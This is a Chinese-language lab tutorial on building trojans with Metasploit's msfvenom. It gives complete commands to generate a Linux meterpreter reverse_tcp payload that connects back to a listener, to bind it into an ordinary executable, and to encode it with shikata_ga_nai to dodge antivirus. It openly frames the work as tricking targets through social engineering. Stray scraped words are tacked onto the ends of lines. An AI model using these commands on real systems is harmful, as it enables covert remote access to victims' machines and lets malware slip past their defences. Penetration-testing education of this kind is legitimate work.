在一次滲透測試的過程當中,避免不了使用到社會工程學的方式來誘騙對方運行咱們的木馬或者點擊咱們準備好的惡意連接。木馬的捆綁在社會工程學中是咱們常常使用的手段,而爲了躲避殺毒軟件的查殺,咱們又不得不對木馬進行免殺處理。本次實驗咱們將學習如何經過Metasploit的msfvenom命令來生成木馬、捆綁木馬以及對木馬進行免殺處理。linux
Kali Linuxshell
msfvenom 如何生成木馬
msfvenom 如何捆綁木馬到經常使用軟件
msfvenom 如何對木馬進行編碼免殺tcp
Metasploit是一個可用來發現、驗證和利用漏洞的滲透測試平臺,目前實驗環境中Metasploit的版本是v4.12.23-dev包含了1577個exploits、907個auxiliary、272個post、455個payloads、39個encoders以及8個nops。post
其中exploits是漏洞利用模塊(也叫滲透攻擊模塊),auxiliary是輔助模塊,post是後滲透攻擊模塊,payloads是攻擊載荷也就是咱們常說的shellcode,這裏生成的木馬其實就是payloads。學習
在本次試驗中咱們主要使用的是msfpayload(攻擊荷載生成器),msfencoder(編碼器)的替代品msfvenom,msfvenom集成了前二者的所有功能,能夠生成payload(本節所說的木馬)以及對payload編碼免殺和避免壞字符、捆綁木馬等。在Kali Linux中默認安裝了Metasploit framework 咱們能夠直接使用。測試
在進行木馬生成實驗以前咱們先來學習一下msfvenom命令的用法。在 Kali linux 下輸入以下命令,能夠看到msfvenom的命令行選項。this
$ cd /usr/bin
$ ./msfvenom -h編碼
Options:spa
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads --payload-options List the payload's standard options -l, --list [type] List a module type. Options are: payloads, encoders, nops, all -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload -f, --format <format> Output format (use --help-formats for a list) --help-formats List available formats -e, --encoder <encoder> The encoder to use -a, --arch <arch> The architecture to use --platform <platform> The platform of the payload --help-platforms List available platforms -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -b, --bad-chars <list> The list of characters to avoid example: '\x00\xff' -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the template behavior and inject the payload as a new thread -o, --out <path> Save the payload -v, --var-name <name> Specify a custom variable name to use for certain output formats --smallest Generate the smallest possible payload -h, --help Show this message
這裏咱們主要用到-p、-f和-o選項,下面咱們分別來介紹一下它們的含義及用法。命令行
-p選項:用來指定須要使用的payload,能夠指定'-'或者stdin來自定義payload。若是不知道payload都包括哪些選項可使用--payload-options列出payload的標準選項。
-f選項:用來指定payload的輸出格式,可使用--help-formats來列出可選的格式。
-o選項:用來指定輸出的payload的保存路徑,這裏咱們也能夠採用重定向的方式來替代-o選項。
在生成木馬以前咱們先使用-l選項來列出指定模塊的全部可用資源(模塊類型包括: payloads, encoders, nops, all)。這裏咱們指定payloads模塊來查看都有哪些可用的木馬。
$ msfvenom -l payloads
根據上面各個選項的解釋,如今咱們就用選擇好的payload來生成linux下的木馬程序吧!輸入命令以下:
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -f elf -o /root/payload.elf
命令執行完畢後木馬就生成了,在上面的命令中咱們使用-p選項指定了payload並設置了監聽主機的ip地址,因爲默認這個payload設置監聽端口爲4444,因此咱們這裏沒有設置監聽端口,須要更改監聽端口能夠設置LPORT參數。
一般咱們生成了木馬以後,要運用社會工程學的攻擊方式誘騙目標運行咱們的木馬程序,不然咱們的木馬只是玩具罷了,記住:「沒人運行的木馬不是好木馬」。這裏咱們就來學習一下如何將木馬捆綁到一個經常使用的應用程序上,這樣咱們就能夠上傳到某些地方來誘騙目標下載並運行咱們的木馬程序(記住不要拿這個來作壞事,咱們要作個正直的白帽子)。
捆綁木馬咱們仍是使用上面提到的msfvenom命令,只不過這裏咱們要用到一個新的命令行選項-x。咱們來看一下-x選項的用法及含義。
-x選項:容許咱們指定一個自定義的可執行文件做爲模板,也就是將木馬捆綁到這個可執行文件上。
爲了方便演示,咱們就將上一節生成的木馬當作經常使用應用程序來捆綁木馬。
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -f elf -x /root/payload.elf -o /root/payload_backdoor.elf
雖然咱們已經準備好了木馬程序,而且也捆綁到了經常使用的應用程序上,可是如今殺毒軟件氾濫,不通過免殺就算成功上傳到目標主機,估計還沒等運行就被殺掉了。這裏用msfvenom生成木馬同時對payload編碼來實現木馬的簡單免殺。咱們先來學習一下咱們要用到的命令選項:
-e選項:用來指定要使用的編碼器。
-i選項:用來指定對payload編碼的次數。
先來看一下都有哪些編碼器可用:
$ msfvenom -l encoders
這裏咱們挑選一個免殺效果比較好的編碼器x86/shikata_ga_nai,進行編碼:
$ cd /usr/share
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -e x86/shikata_ga_nai -i 5 -f elf -o /root/payload_encoder.elf
這樣木馬基本上就能夠躲避部分殺毒軟件的查殺,其實還能夠對木馬程序進行屢次編碼,雖然能夠提升木馬的免殺概率,不過可能會致使木馬程序不可用。固然要想免殺效果更好就須要使用Metasploit pro版本或者給木馬加殼、修改木馬的特徵碼等等,不過要想躲過所有殺毒軟件的查殺則會有些難度,一般會針對某個殺毒軟件進行免殺。